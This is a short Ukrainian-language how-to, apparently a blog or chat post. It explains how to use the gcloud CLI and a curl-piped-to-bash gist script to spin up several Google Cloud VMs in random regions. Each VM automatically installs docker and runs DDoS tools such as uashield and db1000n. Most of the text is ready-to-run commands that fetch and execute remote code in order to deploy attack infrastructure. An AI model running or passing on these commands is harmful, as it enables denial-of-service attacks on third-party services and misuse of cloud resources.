Для роботи спершу потрібно поставити на локальний ПК gcloud cli

https://cloud.google.com/sdk/docs/install

Для macos простіше через brew

Bash скрипт

Швидкий старт без розминки. Пояснення скрипта нижче.

curl -sL <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> | bash -s -- -t 5000 -c 10 -p 1 uashield
curl -sL <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> | bash -s -- -t 50 -c 10 php
curl -sL <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> | bash -s -- -c 10 db1000n
curl -sL <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> | bash -s -- -t 2000 -c 10 python

Код скрипта на github - тут (перед використанням чужих скриптів перевіряйте їх код)

Скрипт створює задану кількість VM (параметр -c) із обраними характеристиками (параметр —custom-cpu та —custom-memory) в випадковому регіоні GCP.

На VM автоматично ставиться докер і завантажуеться скрипт для ddos (за замовчування uashield)

Usage:

curl -L <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> -o save-homeland.sh

chmod +x save-homeland.sh

bash save-homeland.sh -h

Example options: